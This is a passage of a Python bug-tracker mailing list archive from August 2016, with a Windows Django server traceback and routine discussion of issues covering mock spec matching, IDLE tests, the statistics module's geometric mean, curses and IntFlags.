('127.0.0.1', 62229) Traceback (most recent call last): File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\handler s.py", line 138, in run self.finish_response() File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\handler s.py", line 180, in finish_response self.write(data) File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\handler s.py", line 274, in write self.send_headers() File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\handler s.py", line 332, in send_headers self.send_preamble() File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\handler s.py", line 255, in send_preamble ('Date: %s\r\n' % format_date_time(time.time())).encode('iso-8859-1') File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\handler s.py", line 453, in _write result = self.stdout.write(data) File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\socket.py", lin e 593, in write return self._sock.send(b) ConnectionAbortedError: [WinError 10053] ??????????????????? ? During handling of the above exception, another exception occurred: Traceback (most recent call last): File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\handler s.py", line 141, in run self.handle_error() File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\site-packages\d jango\core\servers\basehttp.py", line 92, in handle_error super(ServerHandler, self).handle_error() File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\handler s.py", line 368, in handle_error self.finish_response() File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\handler s.py", line 180, in finish_response self.write(data) File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\handler s.py", line 274, in write self.send_headers() File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\handler s.py", line 331, in send_headers if not self.origin_server or self.client_is_modern(): File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\handler s.py", line 344, in client_is_modern return self.environ['SERVER_PROTOCOL'].upper() != 'HTTP/0.9' TypeError: 'NoneType' object is not subscriptable During handling of the above exception, another exception occurred: Traceback (most recent call last): File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\socketserver.py ", line 625, in process_request_thread self.finish_request(request, client_address) File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\socketserver.py ", line 354, in finish_request self.RequestHandlerClass(request, client_address, self) File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\site-packages\d jango\core\servers\basehttp.py", line 99, in __init__ super(WSGIRequestHandler, self).__init__(*args, **kwargs) File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\socketserver.py ", line 681, in __init__ self.handle() File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\site-packages\d jango\core\servers\basehttp.py", line 179, in handle handler.run(self.server.get_app()) File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\handler s.py", line 144, in run self.close() File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\simple_ server.py", line 36, in close self.status.split(' ',1)[0], self.bytes_sent AttributeError: 'NoneType' object has no attribute 'split' ---------------------------------------- [09/Aug/2016 10:30:13] "GET /FileHost/?fileName=Git-2.8.4-32-bit.exe HTTP/1.1" 2 00 8192 Traceback (most recent call last): File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\handler s.py", line 138, in run self.finish_response() File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\handler s.py", line 180, in finish_response self.write(data) File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\handler s.py", line 274, in write self.send_headers() File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\handler s.py", line 332, in send_headers self.send_preamble() File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\handler s.py", line 255, in send_preamble ('Date: %s\r\n' % format_date_time(time.time())).encode('iso-8859-1') File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\handler s.py", line 453, in _write result = self.stdout.write(data) File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\socket.py", lin e 593, in write return self._sock.send(b) ConnectionAbortedError: [WinError 10053] ??????????????????? ? [09/Aug/2016 10:30:13] "GET /FileHost/?fileName=Git-2.8.4-32-bit.exe HTTP/1.1" 5 00 59 ---------------------------------------- Exception happened during processing of request from ('127.0.0.1', 62231) Traceback (most recent call last): File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\handler s.py", line 138, in run self.finish_response() File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\handler s.py", line 180, in finish_response self.write(data) File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\handler s.py", line 274, in write self.send_headers() File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\handler s.py", line 332, in send_headers self.send_preamble() File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\handler s.py", line 255, in send_preamble ('Date: %s\r\n' % format_date_time(time.time())).encode('iso-8859-1') File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\handler s.py", line 453, in _write result = self.stdout.write(data) File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\socket.py", lin e 593, in write return self._sock.send(b) ConnectionAbortedError: [WinError 10053] ??????????????????? ? During handling of the above exception, another exception occurred: Traceback (most recent call last): File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\handler s.py", line 141, in run self.handle_error() File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\site-packages\d jango\core\servers\basehttp.py", line 92, in handle_error super(ServerHandler, self).handle_error() File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\handler s.py", line 368, in handle_error self.finish_response() File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\handler s.py", line 180, in finish_response self.write(data) File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\handler s.py", line 274, in write self.send_headers() File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\handler s.py", line 331, in send_headers if not self.origin_server or self.client_is_modern(): File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\handler s.py", line 344, in client_is_modern return self.environ['SERVER_PROTOCOL'].upper() != 'HTTP/0.9' TypeError: 'NoneType' object is not subscriptable During handling of the above exception, another exception occurred: Traceback (most recent call last): File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\socketserver.py ", line 625, in process_request_thread self.finish_request(request, client_address) File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\socketserver.py ", line 354, in finish_request self.RequestHandlerClass(request, client_address, self) File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\site-packages\d jango\core\servers\basehttp.py", line 99, in __init__ super(WSGIRequestHandler, self).__init__(*args, **kwargs) File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\socketserver.py ", line 681, in __init__ self.handle() File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\site-packages\d jango\core\servers\basehttp.py", line 179, in handle handler.run(self.server.get_app()) File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\handler s.py", line 144, in run self.close() File "C:\Users\i\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\simple_ server.py", line 36, in close self.status.split(' ',1)[0], self.bytes_sent AttributeError: 'NoneType' object has no attribute 'split' ---------------------------------------- ---------- nosy: +iMath _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 22:43:25 2016 From: report at bugs.python.org (Carl Meyer) Date: Tue, 09 Aug 2016 02:43:25 +0000 Subject: [issue27715] call-matcher breaks if a method is mocked with spec=True Message-ID: <1470710605.81.0.432461136624.issue27715@psf.upfronthosting.co.za> New submission from Carl Meyer: When constructing call-matchers to match expected vs actual calls, if `spec=True` was used when patching a function, mock attempts to bind the recorded (and expected) call args to the function signature. But if a method was mocked, the signature includes `self` and the recorded call args don't. This can easily lead to a `TypeError`: ``` from unittest.mock import patch class Foo: def bar(self, x): return x with patch.object(Foo, 'bar', spec=True) as mock_bar: f = Foo() f.bar(7) mock_bar.assert_called_once_with(7) ``` The above code worked in mock 1.0, but fails in Python 3.5 and 3.6 tip with this error: ``` TypeError: missing a required argument: 'x' The above exception was the direct cause of the following exception: Traceback (most recent call last): File "../mock-method.example.py", line 11, in mock_bar.assert_called_once_with(7) File "/home/carljm/projects/python/cpython/Lib/unittest/mock.py", line 203, in assert_called_once_with return mock.assert_called_once_with(*args, **kwargs) File "/home/carljm/projects/python/cpython/Lib/unittest/mock.py", line 822, in assert_called_once_with return self.assert_called_with(*args, **kwargs) File "/home/carljm/projects/python/cpython/Lib/unittest/mock.py", line 811, in assert_called_with raise AssertionError(_error_message()) from cause AssertionError: Expected call: bar(7) Actual call: bar(<__main__.Foo object at 0x7fdca80b7550>, 7) ``` ``` If you try to pass in the instance as an expected call arg, the error goes away but it just fails to match: ``` AssertionError: Expected call: bar(<__main__.Foo object at 0x7f5cbab35fd0>, 7) Actual call: bar(7) ``` So AFAICT there is no way to successfully use `spec=True` when patching a method of a class. Oddly, using `autospec=True` instead of `spec=True` _does_ record the instance as an argument in the recorded call args, meaning that you have to pass it in as an argument to e.g. `assert_called_with`. But in many (most?) cases where you're patching a method of a class, your test doesn't have access to the instance, elsewise you'd likely just patch the instance instead of the class in the first place. I don't see a good reason why `autospec=True` and `spec=True` should differ in this way (if both options are needed, there should be a separate flag to control that behavior; it doesn't seem related to the documented differences between autospec and spec). I do think a) there needs to be some way to record call args to a method and assert against those call args without needing the instance (or resorting to manual assertions against a sliced `call_args`), and b) there should be some way to successfully use `spec=True` when patching a method of a class. ---------- components: Library (Lib) files: mock-method.example.py messages: 272209 nosy: carljm priority: normal severity: normal status: open title: call-matcher breaks if a method is mocked with spec=True versions: Python 3.5, Python 3.6 Added file: http://bugs.python.org/file44054/mock-method.example.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 22:44:50 2016 From: report at bugs.python.org (Carl Meyer) Date: Tue, 09 Aug 2016 02:44:50 +0000 Subject: [issue27715] call-matcher breaks if a method is mocked with spec=True In-Reply-To: <1470710605.81.0.432461136624.issue27715@psf.upfronthosting.co.za> Message-ID: <1470710690.71.0.754856366037.issue27715@psf.upfronthosting.co.za> Carl Meyer added the comment: (This bug is also present in Python 3.4.4.) ---------- type: -> crash versions: +Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 22:59:49 2016 From: report at bugs.python.org (Carl Meyer) Date: Tue, 09 Aug 2016 02:59:49 +0000 Subject: [issue27715] call-matcher breaks if a method is mocked with spec=True In-Reply-To: <1470710605.81.0.432461136624.issue27715@psf.upfronthosting.co.za> Message-ID: <1470711589.31.0.350758987951.issue27715@psf.upfronthosting.co.za> Carl Meyer added the comment: It seems likely that this regression originated with https://hg.python.org/cpython/rev/b888c9043566/ (can't confirm via bisection as the commits around that time fail to compile for me). ---------- nosy: +michael.foord, pitrou _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 23:11:30 2016 From: report at bugs.python.org (Carl Meyer) Date: Tue, 09 Aug 2016 03:11:30 +0000 Subject: [issue27715] call-matcher breaks if a method is mocked with spec=True In-Reply-To: <1470710605.81.0.432461136624.issue27715@psf.upfronthosting.co.za> Message-ID: <1470712290.16.0.47294230713.issue27715@psf.upfronthosting.co.za> Changes by Carl Meyer : Removed file: http://bugs.python.org/file44054/mock-method.example.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 8 23:13:07 2016 From: report at bugs.python.org (Carl Meyer) Date: Tue, 09 Aug 2016 03:13:07 +0000 Subject: [issue27715] call-matcher breaks if a method is mocked with spec=True In-Reply-To: <1470710605.81.0.432461136624.issue27715@psf.upfronthosting.co.za> Message-ID: <1470712387.71.0.6487497692.issue27715@psf.upfronthosting.co.za> Carl Meyer added the comment: `hg clean --all` resolved the compilation issues; confirmed that https://hg.python.org/cpython/rev/b888c9043566/ is at fault. Also, the exception trace I provided above looks wrong; it must be from when I was messing about with `autospec=True` or passing in the instance. The actual trace from the sample code in the original report has no mention of the instance: ``` TypeError: missing a required argument: 'x' The above exception was the direct cause of the following exception: Traceback (most recent call last): File "../mock-method.example.py", line 11, in mock_bar.assert_called_once_with(7) File "/home/carljm/projects/python/cpython/Lib/unittest/mock.py", line 822, in assert_called_once_with return self.assert_called_with(*args, **kwargs) File "/home/carljm/projects/python/cpython/Lib/unittest/mock.py", line 811, in assert_called_with raise AssertionError(_error_message()) from cause AssertionError: Expected call: bar(7) Actual call: bar(7) ``` ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 00:05:03 2016 From: report at bugs.python.org (Antti Haapala) Date: Tue, 09 Aug 2016 04:05:03 +0000 Subject: [issue27703] Replace two Py_XDECREFs with Py_DECREFs in do_raise In-Reply-To: <1470574317.03.0.634036537179.issue27703@psf.upfronthosting.co.za> Message-ID: <1470715503.82.0.368334658864.issue27703@psf.upfronthosting.co.za> Antti Haapala added the comment: No, I was just trying to explain why your change could be considered beneficial. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 00:11:20 2016 From: report at bugs.python.org (Alex Willmer) Date: Tue, 09 Aug 2016 04:11:20 +0000 Subject: [issue27701] [posixmodule] [Refactoring patch] Simply call into *at() functions unconditionally when present In-Reply-To: <1470559556.18.0.347536673064.issue27701@psf.upfronthosting.co.za> Message-ID: <1470715880.71.0.695370397298.issue27701@psf.upfronthosting.co.za> Changes by Alex Willmer : ---------- nosy: +Alex.Willmer _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 00:18:52 2016 From: report at bugs.python.org (Roundup Robot) Date: Tue, 09 Aug 2016 04:18:52 +0000 Subject: [issue27181] Add geometric mean to `statistics` module In-Reply-To: <1464901494.08.0.0111988914026.issue27181@psf.upfronthosting.co.za> Message-ID: <20160809041848.6666.60531.A6233B86@psf.io> Roundup Robot added the comment: New changeset 9eb5edfcf604 by Steven D'Aprano in branch 'default': Issue27181 add geometric mean. https://hg.python.org/cpython/rev/9eb5edfcf604 ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 00:40:38 2016 From: report at bugs.python.org (Gregory P. Smith) Date: Tue, 09 Aug 2016 04:40:38 +0000 Subject: [issue26750] Mock autospec does not work with subclasses of property() In-Reply-To: <1460585586.67.0.646853664072.issue26750@psf.upfronthosting.co.za> Message-ID: <1470717638.39.0.762938250066.issue26750@psf.upfronthosting.co.za> Gregory P. Smith added the comment: Probably just Amaury and I forgetting that existed. Amaury, inspect.isdatadescriptor's implementation is a bit different than this change's _is_data_descriptor. Thoughts? ---------- stage: resolved -> commit review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 02:00:03 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 09 Aug 2016 06:00:03 +0000 Subject: [issue27380] IDLE: add base Query dialog with ttk widgets In-Reply-To: <1466741717.27.0.533147933113.issue27380@psf.upfronthosting.co.za> Message-ID: <1470722403.11.0.0284870030288.issue27380@psf.upfronthosting.co.za> Terry J. Reedy added the comment: The Mac failure comes from this piece of code: if sys.platform == 'darwin': path = self.result[1] if path.startswith(('www', 'file:', 'http:', https:')): pass else: # Mac Safari insists on using the URI form for local files self.result = list(self.result) self.result[1] = "file://" + path Before I do anything, is the comment right about needing to add "file://" for Safari? is Safari still the default and/or correct way to open a local file? The code that opens the supplementary help file or url is elsewhere, but it could be changed if outdated on the Mac. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 02:40:53 2016 From: report at bugs.python.org (Ram Rachum) Date: Tue, 09 Aug 2016 06:40:53 +0000 Subject: [issue27181] Add geometric mean to `statistics` module In-Reply-To: <1464901494.08.0.0111988914026.issue27181@psf.upfronthosting.co.za> Message-ID: <1470724853.3.0.099168988774.issue27181@psf.upfronthosting.co.za> Ram Rachum added the comment: Thanks for the patch Steven! I won't comment about the code because I don't know enough about these algorithms, but I'm thinking, since you also did a refactoring of the statistics module, maybe these should be two separate patches/commits so it'll be easy to see which part is the new feature and which part is moving existing code around? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 02:44:22 2016 From: report at bugs.python.org (Ram Rachum) Date: Tue, 09 Aug 2016 06:44:22 +0000 Subject: [issue27181] Add geometric mean to `statistics` module In-Reply-To: <1464901494.08.0.0111988914026.issue27181@psf.upfronthosting.co.za> Message-ID: <1470725062.73.0.0926890461492.issue27181@psf.upfronthosting.co.za> Ram Rachum added the comment: Also... I like the detailed docstrings with the real-life examples! That stuff helps when coding and using an unfamiliar function (since I see the docs in a panel of my IDE), so I wish I'd see more detailed docstrings like these ones in the standard library. For `geometric_mean`, maybe I'd add one sentence that describes how the geometric mean is calculated. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 03:14:39 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 09 Aug 2016 07:14:39 +0000 Subject: [issue27714] some test_idle tests are not re-runnable, producing false failures with regrtest -w option In-Reply-To: <1470698096.85.0.204645941326.issue27714@psf.upfronthosting.co.za> Message-ID: <1470726879.68.0.268993832458.issue27714@psf.upfronthosting.co.za> Terry J. Reedy added the comment: Mark, see questions about Mac above. Basically, do we still need to add 'file://'? The test_textview repeat errors are eliminated by removing 'del TV' in tearDownModule. I added it in what seems to be an excess of caution when chasing down tk warnings about trying to do things after app destroyed. Re-reading the code, deleting it or not seems like it should have no effect and deleting it now has none that I can see on Windows. If either of you test deletion and get no new warnings on Mac, I will patch the deletion away. Macosx assumes that it is run once on IDLE startup. It is not intended to be idempotent. We could catch the IndexError and ignore it, but that could mask a real error arising from modifying the initial menu structure. We could catch the error and add a note to the message: "Ignore this if this only appears when regrtest re-runs test_idle after a failure." Another approach would be to break the triple indexing into three statements, so we would know which indexing fails. (I suspect the first.) query and test_query are 3.6 only. test_textview is all 3 versions. I presume the macosx issue is also. ---------- nosy: +markroseman _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 03:15:24 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 09 Aug 2016 07:15:24 +0000 Subject: [issue27621] Finish IDLE Query dialog appearance and behavior. In-Reply-To: <1469512966.74.0.594331033204.issue27621@psf.upfronthosting.co.za> Message-ID: <1470726924.93.0.741579097515.issue27621@psf.upfronthosting.co.za> Terry J. Reedy added the comment: See #27714 for more on the test failure. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 03:18:59 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 09 Aug 2016 07:18:59 +0000 Subject: [issue27380] IDLE: add base Query dialog with ttk widgets In-Reply-To: <1466741717.27.0.533147933113.issue27380@psf.upfronthosting.co.za> Message-ID: <1470727139.23.0.851398380727.issue27380@psf.upfronthosting.co.za> Changes by Terry J. Reedy : ---------- nosy: +markroseman _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 03:19:57 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 09 Aug 2016 07:19:57 +0000 Subject: [issue27621] Finish IDLE Query dialog appearance and behavior. In-Reply-To: <1469512966.74.0.594331033204.issue27621@psf.upfronthosting.co.za> Message-ID: <1470727197.12.0.396970357691.issue27621@psf.upfronthosting.co.za> Terry J. Reedy added the comment: Actually, the query test failure is posted to #27380 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 03:20:57 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 09 Aug 2016 07:20:57 +0000 Subject: [issue27714] some test_idle tests are not re-runnable, producing false failures with regrtest -w option In-Reply-To: <1470698096.85.0.204645941326.issue27714@psf.upfronthosting.co.za> Message-ID: <1470727257.08.0.17439603651.issue27714@psf.upfronthosting.co.za> Terry J. Reedy added the comment: Mark, the 'question above' was actually posted to #27380, the original query issue. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 03:31:03 2016 From: report at bugs.python.org (Dietmar Schindler) Date: Tue, 09 Aug 2016 07:31:03 +0000 Subject: [issue27693] curses.textpad.Textbox(win).edit() won't edit last character In-Reply-To: <1470402186.89.0.461540221424.issue27693@psf.upfronthosting.co.za> Message-ID: <1470727863.32.0.962121857615.issue27693@psf.upfronthosting.co.za> Dietmar Schindler added the comment: Regarding Issue8243: This issue is about writing the lower-right character of a window via *addch()* or *addstr()*. But for curses.textpad.Textbox(win).edit() the use of *addch()* or *addstr()* is not unavoidable; it could well use *insch()* or *insstr()* (at the lower-right cell or everywhere), which don't cause the problem of the cursor advancing outside the window. Or, curses.textpad.Textbox(win).edit() could handle the exception caused thereby. It's all in the hands of curses.textpad.Textbox(win).edit()'s implementation, to work as specified. Besides, even if terminals where writing to the last character position on screen caused an automatic scroll were still relevant, that wouldn't justify impeding the behavior of all other windows (that don't contain the screen's last cell). Just documenting erroneous behavior would, in my opinion, be an unfortunate choice. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 04:00:07 2016 From: report at bugs.python.org (Steven D'Aprano) Date: Tue, 09 Aug 2016 08:00:07 +0000 Subject: [issue27181] Add geometric mean to `statistics` module In-Reply-To: <1470725062.73.0.0926890461492.issue27181@psf.upfronthosting.co.za> Message-ID: <20160809075952.GA24579@ando.pearwood.info> Steven D'Aprano added the comment: On Tue, Aug 09, 2016 at 06:44:22AM +0000, Ram Rachum wrote: > For `geometric_mean`, maybe I'd add one sentence that describes > how the geometric mean is calculated. What do you mean? As in, the mathematical definition of geometric mean? Or do you mean a one sentence description of the algorithm? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 04:25:34 2016 From: report at bugs.python.org (devurandom) Date: Tue, 09 Aug 2016 08:25:34 +0000 Subject: [issue25750] tp_descr_get(self, obj, type) is called without owning a reference to "self" In-Reply-To: <1448654213.28.0.807225788685.issue25750@psf.upfronthosting.co.za> Message-ID: <1470731134.75.0.493163877445.issue25750@psf.upfronthosting.co.za> Changes by devurandom : ---------- nosy: +devurandom _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 04:44:08 2016 From: report at bugs.python.org (Ram Rachum) Date: Tue, 09 Aug 2016 08:44:08 +0000 Subject: [issue27181] Add geometric mean to `statistics` module In-Reply-To: <1464901494.08.0.0111988914026.issue27181@psf.upfronthosting.co.za> Message-ID: <1470732248.05.0.632754940304.issue27181@psf.upfronthosting.co.za> Ram Rachum added the comment: I meant the mathematical definition. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 05:40:35 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 09 Aug 2016 09:40:35 +0000 Subject: [issue27703] Replace two Py_XDECREFs with Py_DECREFs in do_raise In-Reply-To: <1470574317.03.0.634036537179.issue27703@psf.upfronthosting.co.za> Message-ID: <1470735635.56.0.441053826913.issue27703@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: do_raise_v2.patch (with asserts) LGTM. There are two ways that lead to this point (and third way leads to raising an exception), and additional assertions make the code clearer, because a reader shouldn't follow all these patch for reading the code after assertions. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 05:45:00 2016 From: report at bugs.python.org (Ram Vallury) Date: Tue, 09 Aug 2016 09:45:00 +0000 Subject: [issue26209] TypeError in smtpd module with string arguments In-Reply-To: <1453840478.59.0.371405366995.issue26209@psf.upfronthosting.co.za> Message-ID: <1470735900.07.0.238881821809.issue26209@psf.upfronthosting.co.za> Ram Vallury added the comment: added space before word portnumber. column space adjusted ---------- Added file: http://bugs.python.org/file44055/smtpd_doc_updated_3.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 05:45:18 2016 From: report at bugs.python.org (=?utf-8?q?Kristj=C3=A1n_Valur_J=C3=B3nsson?=) Date: Tue, 09 Aug 2016 09:45:18 +0000 Subject: [issue27682] Windows Error 10053, ConnectionAbortedError: [WinError 10053] An established connection was aborted by the software in your host machine In-Reply-To: <1470313993.65.0.630797703267.issue27682@psf.upfronthosting.co.za> Message-ID: <1470735918.93.0.930563411612.issue27682@psf.upfronthosting.co.za> Kristj?n Valur J?nsson added the comment: This error is a protocol error. It is the analog to WSAECONNRESET. ECONNRESET occurs when the local host receives a RST packet from the peer, usually because the peer closed the connection. WSAECONNABORT occurs when the local tcp layer decides that the connection is dead, (it may have sent RST to the peer itself). This can occur for various reasons. Often because the client has cone away, closed the connection or other things. It is best to treat WSACONNRESET as WSACONNABORT, i.e., there was a TCP protocol error and the transaction (http request) probably wasn't completed completely by both parties. See also here: https://www.chilkatsoft.com/p/p_299.asp In your case, I would expect a problem with the client uploading the file. It probably closes the connection after sending the data without waiting for the http response. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 06:04:13 2016 From: report at bugs.python.org (Ethan Glass) Date: Tue, 09 Aug 2016 10:04:13 +0000 Subject: [issue27708] Roudning/Large Int representation error with multiplication and division In-Reply-To: <1470653839.78.0.546281473501.issue27708@psf.upfronthosting.co.za> Message-ID: <1470737053.66.0.507439466466.issue27708@psf.upfronthosting.co.za> Ethan Glass added the comment: I actually started with a very small integer, said integer being 14. I then multiplied it by two large integers(10^100 or higher).I no longer have access to the two large integers, as they were never stored. When I divided the product by the two large integers, the quotient is returned as 13, 14, or 15. I have done more testing and found that the correct quotient of 14 is almost always returned, but 13 or 15 are returned occasionally. I am not trying to convert anything to/from a float to/from an integer. I typed a similar equation into the python shell and found that if I only divide by one of the factors, the return is a floating point that appears something like this: 6.754791118045615e+200 This is displayed in scientific notation as a float multiplied by 10^200. I do not know if this is how the computer processes and stored the integer or just how it is displayed,but if it is in fact how the integer is stored, it would theoretically be subject to rounding errors. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 06:35:58 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 09 Aug 2016 10:35:58 +0000 Subject: [issue23591] Add Flags and IntFlags In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za> Message-ID: <1470738958.22.0.428726075235.issue23591@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: The name IntFlags is inspired by the Flags attribute in C# (this is the most close concept). The "Int" prefix is added for parallel with IntEnum and because the class behaves as int in some contexts (supports operators |, &, ^, ~ and can be passed to functions that require int). I don't know whether there is a need in Flags class that is not a subclass of int. Other languages provide something like EnumSet - a specialized set of enums. But it has different interface. 1) If there are enum members FOO and BAR, their union is {FOO, BAR}, not FOO|BAR. 2) The union member itself is not a set. 3) A set can contain only predefined set of values (IntFlag allows non-defined bits be set). If you thing that non-int flags could be useful, you can consider adding EnumSet for general enums and IntFlags (or just Flags) for int-like enums. But I think that new API can just use a set or a tuple of enums. IntFlags is needed for compatibility with old API or C API. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 06:37:38 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 09 Aug 2016 10:37:38 +0000 Subject: [issue27574] Faster parsing keyword arguments In-Reply-To: <1468944235.85.0.107735525995.issue27574@psf.upfronthosting.co.za> Message-ID: <1470739058.71.0.772212217536.issue27574@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Indeed, in issue17170 this issue was discussed first. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 06:56:38 2016 From: report at bugs.python.org (Jim Fulton) Date: Tue, 09 Aug 2016 10:56:38 +0000 Subject: [issue27392] Add a server_side keyword parameter to create_connection In-Reply-To: <1466957117.0.0.423625085233.issue27392@psf.upfronthosting.co.za> Message-ID: <1470740198.54.0.0423427278536.issue27392@psf.upfronthosting.co.za> Jim Fulton added the comment: WRT boolean for SSL, I think it's very common for clients to verify server certificates, but relatively uncommon for servers to require client certificates. The impression I have from reading docs and stack overflow posts that the most common use case for the SSL module is connection to HTTPS sites. For this use case, using a default context makes a lot of sense. It seems extremely unlikely to me for a server to use a default context. But I'm not an SSL expert. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 06:59:20 2016 From: report at bugs.python.org (Jim Fulton) Date: Tue, 09 Aug 2016 10:59:20 +0000 Subject: [issue27392] Add a server_side keyword parameter to create_connection In-Reply-To: <1466957117.0.0.423625085233.issue27392@psf.upfronthosting.co.za> Message-ID: <1470740360.48.0.616596491979.issue27392@psf.upfronthosting.co.za> Jim Fulton added the comment: +1 restricting uvloop to AF_INET or AF_UNIX and SOCK_STREAM, at least until someone requests something else. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 07:05:53 2016 From: report at bugs.python.org (koobs) Date: Tue, 09 Aug 2016 11:05:53 +0000 Subject: [issue10910] pyport.h FreeBSD/Mac OS X "fix" causes errors in C++ compilation In-Reply-To: <1295040100.28.0.0907494738582.issue10910@psf.upfronthosting.co.za> Message-ID: <1470740753.42.0.0270080368359.issue10910@psf.upfronthosting.co.za> koobs added the comment: @Brett / Ned I'm happy to carry the proposed patch in the FreeBSD ports/packages until the next releases if that helps your confidence levels. ---------- versions: +Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 9 07:32:14 2016 From: report at bugs.python.org (Eric V. Smith) Date: Tue, 09 Aug 2016 11:32:14 +0000 Subject: [issue27708] Roudning/Large Int representation error with multiplication and division In-Reply-To: <1470653839.78.0.546281473501.issue27708@psf.upfronthosting.co.za> Message-ID: 